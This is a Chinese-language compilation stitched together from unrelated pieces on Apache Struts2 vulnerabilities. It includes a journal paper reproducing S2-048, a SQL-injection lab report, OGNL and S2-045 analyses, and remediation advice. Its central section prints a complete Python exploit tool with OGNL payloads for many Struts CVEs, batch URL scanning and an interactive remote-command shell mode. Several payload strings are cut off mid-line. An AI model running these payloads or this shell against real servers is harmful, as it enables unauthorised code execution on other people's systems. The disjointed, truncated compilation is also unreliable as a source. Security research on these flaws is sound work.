基于Struts(S2-048)漏洞的复现与分析
基于Struts(S2-048)漏洞的复现与分析
作者:缪卓洁罗海波邹炜成洪家豪
来源:《科学导报·学术》2019年第49期
摘 ;要:文章介绍了 Struts 2.3.x 系列中 Struts2 -048 号漏洞的背景、漏洞影响、对于漏洞的分析和漏洞复现的操作示例。
为了了解在漏洞暴露而且被利用时对于企业利益的严重危害,本文通过在 Struts 2.3.x 系列其中的 Struts 2.3.32 的 showcase 应用中演示对 Struts2 整合 Struts1 的插件中存在一处任意代码执行漏洞的攻击行为并且从 Struts(Struts2-048)远程命令执行漏洞还原的过程中,分析出漏洞产生原因是由于启用了插件 struts2-struts1-plugin 而且在其插件内部(struts2-struts1-plugin-2.3.x.jar)中的代码存在不受信任的输入并传入到 ActionMessage 类中导致恶意命令执行的过程。
在漏洞问题下罗列出现有的解决方案,并简述其补救措施和其他相关技术概念。
从而表明了该漏洞的危害性和需尽快修复的紧急程度。
关键词:Struts2漏洞;Struts2;S2-048;OGNL;Webwork
1 ;原理技术概要
1.1 Webwork
它是Struts系列的前身,来源于一个开源组织 opensymphony,且是从Xwork项目的基础上发展而来,Webwork简洁且功能强大,完全从web层脱离,它提供了包括前端拦截、表单
属性验证、类型转换以及强大的表达式语言OGNL等核心功能。
Webwork在处理http请求和响应时使用Servlet Dispatcher将http请求转化为业务层、会话层和应用层范围的映射,请求参数映射为Webwork2支持的多视图表示,视图部分可以使用JSP、Velocity、Free Marker、Jasper Repots、XML等。
1.2 Struts2
Struts2架构继承了Webwork的架构流程,而并未沿用Struts1的设计核心,但从处理流程上看,Struts2还是以控制器为重点,包括核心控制器和业务逻辑控制器。
处理流程简述为:客户端提交一个 HttpServletRequest 请求,接着请求被提交到一系列的过滤器,然后经过 FilterDispatcher 时会询问 ActionMapper 是否需要调用某个Action来处理这个请求,如果 ActionMapper 决定需要调用某个 Action,FilterDispatcher 则把请求的处理交给ActionProxy。
ActionProxy 通过Configuration Manager向文件struts.xml查询框架的配置文件,找到需要调用的Action类。
ActionProxy 创建一个 ActionInvocation 实例,同时 ActionInvocation 通过代理模式调用Action。
但在调用之前,ActionInvocation 会根据配置加载 Action 相关的所有Interceptor。
Action执行完毕后,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果result。
1.3 OGNL
OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
它使用相同的表达式去存取对象的属性。
这样可以更好的取得数据。
Webwork2和现在的Struts2.x系列中使用OGNL取代原来的EL来做界面数据绑定,所谓界面数据绑定,也就是把界面元素(例如一个textfield,hidden)和对象层某个类的某个属性绑定在一起,修改和显示自动同步。
2 ;漏洞复现和分析
2.1 复现环境准备和工具介绍
步骤1:准备Struts 2.3.x 的项目文件;步骤2:部署showcase和MAVEN并启动项目;步骤3:准备exp漏洞利用shell脚本或者poc,下载地址为:https:///W3bSafe-
Team/Struts2-048-poc。
步骤4:在虚拟机验证漏洞。
2.2 漏洞复现和分析
(1)漏洞分析
漏洞产生的原因是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行OGNL表达式,更加增大该漏洞级别的是getText的输入内容还是攻击者可控的,即可以构造后台服务器的执行指令通过该方法去执行,相当于直接使用后台服务器账号直接登入执行命令操作。
(2)漏洞复现
开启showcase服务并启动虚拟机,发送exp的shell脚本到虚拟机中,打开命令行先ping 一下与部署应用的主机网络,无异常则执行exp脚本。
依次输入 3,http://192.168.122.1:8080/integration/saveGangster.action,ipconfig 这三个参数。
结果如图1:
第一个参数3代表选择验证第三个漏洞 Struts2-048;第二参数是一个链接,代表着你想验证的showcase应用的访问地址;第三个参数为注入的执行命令,可以写如ipconfig,netstat -ano 等windows命令。
执行脚本后发现部署着showcase应用的服务器的IP,网关等信息全都显示出来。
是一个十分危急的漏洞,需要尽快修复。
3 结论
本文在简单介绍Struts2框架的基本概念和知識之后,基于Struts2框架存在的各类缺陷和漏洞,以及各类web开发框架被广泛应用的事实,对应用程序开发使用Struts2开发框架的安全升级进行总结和给出解决方案,并指出在使用这个框架时,应对其进行更多的安全考量和评估,其中重点阐述了Struts2-048漏洞,并通过源码详细分析了它的调用过程和简单阐述了这个漏洞的利用方式,同时给出了针对存在该漏洞的某站点的实际利用结果示例。
参考文献
[1] ;廖文军,朱晓乾,万开. 浅析Struts2两个安全漏洞的原理、利用与防范[C]. 电子测试:上海通用识别技术研究所,2014,61 - 63.
[2] ;天融信科技. Struts(S2-048)远程命令执行漏洞分析[J]. 搜狐科技,2017-07-08.
[3] ;Struts2漏洞[J]. 中国信息安全,2013-08-15.
[4] ;360:Struts2漏洞拉响网站安全红色警报[J]. 计算机与网络. 2012-07-26。
漏洞复现实验报告(3篇)
第1篇一、实验背景随着互联网技术的飞速发展,网络安全问题日益凸显。
为了提高网络安全防护能力,及时发现和修复系统漏洞,本文将对近期发现的一个漏洞进行复现实验,分析漏洞的成因、影响及修复方法。
二、实验目的1. 了解漏洞复现的基本流程和步骤;2. 分析漏洞成因及影响;3. 掌握修复漏洞的方法和技巧;4. 提高网络安全防护能力。
三、实验环境1. 操作系统:Windows 102. 浏览器:Google Chrome3. 漏洞测试工具:Burp Suite4. 目标系统:某企业内部网站四、实验步骤1. 漏洞发现通过安全测试工具(如Fofa、Shodan等)或手动搜索,发现目标系统存在一个SQL注入漏洞。
2. 漏洞分析根据漏洞描述,该漏洞存在于目标系统的某个接口处,攻击者可以通过构造特定的SQL语句,对数据库进行未授权访问,从而获取敏感信息。
3. 漏洞复现(1)打开Burp Suite,配置代理设置为手动,将目标网站的域名添加到代理列表。
(2)在目标网站登录页面,输入用户名和密码,尝试登录。
(3)登录成功后,在Burp Suite的“Intercept”功能中,找到目标接口的请求,修改请求参数,构造SQL注入语句。
(4)发送请求,观察响应内容,分析漏洞是否复现。
4. 漏洞验证通过修改构造的SQL注入语句,验证漏洞是否确实存在,并分析漏洞的影响范围。
5. 漏洞修复(1)对目标系统进行安全审计,查找存在SQL注入漏洞的接口。
(2)修改相关代码,使用参数化查询或预编译语句,避免直接拼接SQL语句。
(3)对数据库进行权限管理,限制用户访问权限。
(4)对系统进行安全加固,提高系统安全性。
五、实验结果与分析1. 漏洞复现成功,攻击者可以获取目标系统数据库中的敏感信息。
2. 漏洞成因:开发者未对用户输入进行过滤和验证,直接拼接SQL语句,导致SQL注入漏洞。
3. 漏洞影响:攻击者可获取数据库中的敏感信息,如用户名、密码、身份证号等,存在信息泄露风险。
Struts2漏洞利用原理及OGNL机制
Struts2漏洞利⽤原理及OGNL机制Struts2漏洞利⽤原理及OGNL机制研究概述在MVC开发框架中,数据会在MVC各个模块中进⾏流转。
⽽这种流转,也就会⾯临⼀些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态⽽造成的:View层—表现为字符串展⽰数据在页⾯上是⼀个扁平的、不带数据类型的字符串,⽆论数据结构有多复杂,数据类型有多丰富,到了展⽰的时候,全都⼀视同仁的成为字符串在页⾯上展现出来。
数据在传递时,任何数据都都被当作字符串或字符串数组来进⾏。
Controller层—表现为java对象在控制层,数据模型遵循java的语法和数据结构,所有的数据载体在Java世界中可以表现为丰富的数据结构和数据类型,你可以⾃⾏定义你喜欢的类,在类与类之间进⾏继承、嵌套。
我们通常会把这种模型称之为复杂的对象树。
数据在传递时,将以对象的形式进⾏。
可以看到,数据在不同的MVC层次上,扮演的⾓⾊和表现形式不同,这是由于HTTP协议与java的⾯向对象性之间的不匹配造成的。
如果数据在页⾯和Java世界中互相传递,就会显得不匹配。
所以也就引出了⼏个需要解决的问题:1.当数据从View层传递到Controller层时,我们应该保证⼀个扁平⽽分散在各处的数据集合能以⼀定的规则设置到Java世界中的对象树中去。
同时,能够灵活的进⾏由字符串类型到Java中各个类型的转化。
2.当数据从Controller层传递到View层时,我们应该保证在View层能够以某些简易的规则对对象树进⾏访问。
同时,在⼀定程度上控制对象树中的数据的显⽰格式。
我们稍微深⼊思考这个问题就会发现,解决数据由于表现形式的不同⽽发⽣流转不匹配的问题对我们来说其实并不陌⽣。
同样的问题会发⽣在Java世界与数据库世界中,⾯对这种对象与关系模型的不匹配,我们采⽤的解决⽅法是使⽤如hibernate,iBatis等框架来处理java对象与关系数据库的匹配。
现在在Web层同样也发⽣了不匹配,所以我们也需要使⽤⼀些⼯具来帮助我们解决问题。
Strus2漏洞检查工具+Fiddler捉包工具=批量检查系统Struts漏洞问题
Strus2漏洞检查⼯具+Fiddler捉包⼯具=批量检查系统Struts漏洞问题第⼀种⽅法:使⽤⼯具第⼀步、安装Fiddler抓包⼯具,抓取系统的请求地址,并将其全部的请求地址导⼊到.txt⽂件中。
1.⾃定义请求规则,如图点击规则--》⾃定义规则,进⼊名称为CustomRules.js的记事本2.Ctrl+F搜索OnBeforeRequest函数,并找到3.设置条件:域名+请求地址后缀+地址保存的路径4.设置请求地址的过滤器,⽐如设置后缀,将URl包含有.do的requestURl显⽰出来,并⾃动保存进如上的 D盘的requestURL.txt⽂件中第⼆步、安装Struts2漏洞检查⼯具⽅法⼀、单个地址进⾏验证Struts漏洞⽅法⼆、批量进⾏验证Struts漏洞,1、点击【批量验证】菜单 --2、导⼊URL(Fiddler抓取的全部请求URL)--3、点击【开始】按钮第⼆种⽅法:使⽤python3编写的代码进⾏监测如下图所⽰:源代码如下:我copy的是python2格式的代码,需要进⾏加⼯⼀下以适应python3#!/usr/bin/env python# coding=utf-8# code by Lucifer# Date 2017/10/12import sysimport base64import warningsimport requestsfrom termcolor import cprintimport importlibimportlib.reload(sys)warnings.filterwarnings("ignore")headers = {"Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/x-www-form-urlencoded"}headers2 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers3 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers_052 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/xml"}class struts_baseverify:def__init__(self, url):self.url = urlself.poc = {"ST2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvb "ST2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40 "ST2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldEl "ST2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclMm "ST2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3 "ST2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUtils@ "ST2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encodin "ST2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%mand[0 "ST2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@java "ST2-045":"","ST2-052":'''<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.e }self.shell = {"struts2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dG "struts2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d% "struts2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCdGVVpaSU5HQ09NTUFORC "struts2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclM "struts2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nl "struts2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUt "struts2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.enco "struts2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%man "struts2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@ja "struts2-045":"",}def check(self, pocname, vulnstr):if vulnstr.find("Active Internet connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Linux]", "red")elif vulnstr.find("Active Connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("活动连接") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("LISTEN") is not -1:cprint("⽬标存在" + pocname + "漏洞..[未知OS]", "red")else:cprint("⽬标不存在" + pocname +"漏洞..", "green")def scan(self):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------检测struts2漏洞--------\n⽬标url:"+self.url, "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False)self.check("struts2-005", req.text)except:cprint("检测struts2-005超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False)self.check("struts2-009", req.text)except:cprint("检测struts2-009超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False)self.check("struts2-013", req.text)except:cprint("检测struts2-013超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False)self.check("struts2-016", req.text)except:cprint("检测struts2-016超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False)self.check("struts2-019", req.text)except:cprint("检测struts2-019超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False)self.check("struts2-devmode", req.text)except:cprint("检测struts2-devmode超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-032'], headers=headers, timeout=6, verify=False)self.check("struts2-032", req.text)except:cprint("检测struts2-032超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-033'], headers=headers, timeout=6, verify=False)self.check("struts2-033", req.text)except:cprint("检测struts2-033超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-037'], headers=headers, timeout=6, verify=False)self.check("struts2-037", req.text)except:cprint("检测struts2-037超时..", "cyan")try:req = requests.get(self.url, headers=headers2, timeout=6, verify=False)self.check("struts2-045", req.text)except:cprint("检测struts2-045超时..", "cyan")try:req = requests.post(self.url, data="", headers=headers3, timeout=6, verify=False)self.check("struts2-048", req.text)except:cprint("检测struts2-048超时..", "cyan")try:req1 = requests.get(self.url+"?class[%27classLoader%27][%27jarPath%27]=1", headers=headers, timeout=6, verify=False) req2 = requests.get(self.url+"?class[%27classLoader%27][%27resources%27]=1", headers=headers, timeout=6, verify=False) if req1.status_code == 200 and req2.status_code == 404:cprint("⽬标存在struts2-020漏洞..(只提供检测)", "red")else:cprint("⽬标不存在struts2-020漏洞..", "green")except:cprint("检测struts2-020超时..", "cyan")try:req = requests.post(self.url, data=self.poc['ST2-052'], headers=headers_052, timeout=6, verify=False) if req.status_code == 500 and r"java.security.Provider$Service"in req.text:cprint("⽬标存在struts2-052漏洞..(需使⽤其他⽅式利⽤)", "red")else:cprint("⽬标不存在struts2-052漏洞..", "green")except:cprint("检测struts2-052超时..", "cyan")def inShell(self, pocname):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------struts2 交互式shell--------\n⽬标url:"+self.url, "cyan")prompt = "shell >>"if pocname == "struts2-005":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-005'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-009":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-009'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-013":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-013'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-016":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-016'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-019":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-019'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-devmode":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-devmode'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-032":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-032'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-033":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-033'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-037":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-037'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-045":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.get(self.url, headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-048":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.post(self.url, data="", headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if__name__ == "__main__":try:if sys.argv[1] == "-f":with open(sys.argv[2]) as f:for line in f.readlines():line = line.strip()strutsVuln = struts_baseverify(line)strutsVuln.scan()elif sys.argv[1] == "-u"and sys.argv[3] == "-i":strutsVuln = struts_baseverify(sys.argv[2].strip())strutsVuln.inShell(sys.argv[4].strip())else:strutsVuln = struts_baseverify(sys.argv[1].strip())strutsVuln.scan()except Exception as e:figlet = '''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.'''cprint(figlet,'cyan')print("Usage: python struts-scan.py /index.action 检测")print(" python struts-scan.py -u /index.action -i struts2-045 进⼊指定漏洞交互式shell")print(" python struts-scan.py -f url.txt 批量检测")拓展:Fiddler的⼯作原理Fiddler截获客户端浏览器发送给服务器的https请求的时候,此时还未建⽴连接(握⼿)。
Struts S2-045 漏洞调试及分析
Struts S2-045漏洞调试及分析Auth:Cryin’Date:2016.3.9漏洞公告首先看官方给出的漏洞公告信息:“Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.”问题原因:“It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.”从公告信息可以得到几个漏洞的重点信息:●存在漏洞的模块是Jakarta●漏洞产生的点是恶意的Content-Type头●恶意的Content-Type头会造成程序抛出异常,在显示错误消息给用户时造成RCE 补丁对比查看Struts2版本2.3.32在github上的commit(Uses default error key if specified key doesn't exist)并对比修改内容:https:///apache/struts/commit/352306493971e7d5a756d61780d57a76eb1 f519a可以看到对LocalizedTextUtil.findText方法进行了重写,并添加了判断。
Struts2RCE漏洞的根本原因是程序将用户可控数据带入OGNL表达式解析并执行,而OGNL(Object Graph Navigation Language)对象图形导航语言是一个功能强大的表达式语言,可以用来获取和设置Java对象的属性,但同时也可以对服务端对象进行修改,绕过沙盒甚至可以执行系统命令。
struts2漏洞解决方案
struts2漏洞解决方案对于Struts2漏洞的修复和预防是非常重要的,因为它可能导致严重的安全问题和系统遭受攻击。
在本文中,我们将介绍一些可行的解决方案和建议,以帮助您防范和修复Struts2漏洞。
1. 及时更新Struts2框架版本Struts2团队经常发布新版本来修复安全漏洞和其他bug。
您应该始终关注Struts2的官方网站,了解最新版本的发布情况,并尽快将您的应用程序升级到最新版本。
新版本通常会修复旧版本中存在的已知漏洞,并提供更好的安全性和稳定性。
2. 安全配置在您的Struts2应用程序中,您可以配置一些安全设置来增加系统的安全性。
例如,可以禁用用于开发和调试的Struts2调试模式,禁用动态方法调用,并且仅允许受信任的主机进行访问。
这些配置可以减少潜在的攻击面并增强您的应用程序的安全性。
3. 过滤用户输入用户输入是导致Struts2漏洞的常见来源之一。
为了避免潜在的安全问题,您应该始终对用户的输入数据进行有效的过滤和验证。
使用适当的输入验证和过滤技术,如正则表达式、白名单和黑名单等,可以防止常见的漏洞攻击,如SQL注入和跨站脚本攻击。
4. 使用安全框架或插件除了Struts2框架本身的安全性措施外,您还可以考虑使用安全框架或插件来增强您的应用程序的安全性。
例如,Apache Shiro是一个强大而灵活的安全框架,可以与Struts2无缝集成,并提供更高级的安全功能,如认证、授权和会话管理等。
5. 日志和监控为了及时发现和应对潜在的Struts2漏洞攻击,您应该启用详细的日志记录和监控机制。
定期审查日志记录,以便及早识别异常活动和攻击尝试。
同时,您还可以使用安全监控工具来实时监视您的应用程序,以便及时发现和应对任何安全威胁。
总结:通过及时更新Struts2框架版本、配置安全设置、过滤用户输入、使用安全框架或插件以及启用日志和监控机制,您可以有效地解决和预防Struts2漏洞。
在保障应用程序的安全性方面,持续的关注和努力非常重要。
漏洞复现流程
漏洞复现流程漏洞复现是指通过模拟攻击,验证一个系统、应用或者设备存在的漏洞。
在网络安全领域,漏洞复现是非常重要的工作,它可以帮助人们更好地理解漏洞的本质,提升漏洞发现和修复的效率。
在本文中,我将为大家详细介绍漏洞复现的整体流程和每个环节的详细描述。
一、漏洞识别漏洞识别是漏洞复现的第一步,其目的是通过对目标系统、应用或者设备进行扫描和探测,获取目标的基本信息和漏洞情况。
漏洞识别的过程一般包括端口扫描、指纹识别、漏洞扫描等操作。
端口扫描:端口是计算机系统和网络服务的入口,通过扫描目标系统的端口,可以了解目标系统中运行的服务和应用程序。
现在,有很多常用的端口扫描工具,如nmap、masscan等,这些工具可以进行TCP和UDP端口扫描,并可通过指定参数进行端口扫描的优化和加速。
指纹识别:指纹识别是对目标系统、应用或设备的系统信息、软件版本、Web框架等进行识别的过程。
现有的指纹识别工具有很多,如WhatWeb、FingerprintJS等。
漏洞扫描:漏洞扫描是指对目标系统中可能存在的漏洞进行扫描和检测的过程。
在目标系统中,可能存在各种类型的漏洞,如SQL注入、XSS、文件包含漏洞等。
目前,已经出现了许多漏洞扫描器,如Nessus、OpenVAS、Retina、Acunetix等。
二、漏洞利用漏洞利用是指在识别到目标系统存在某种漏洞后,尝试利用该漏洞来获取系统控制权或者攻击目标系统。
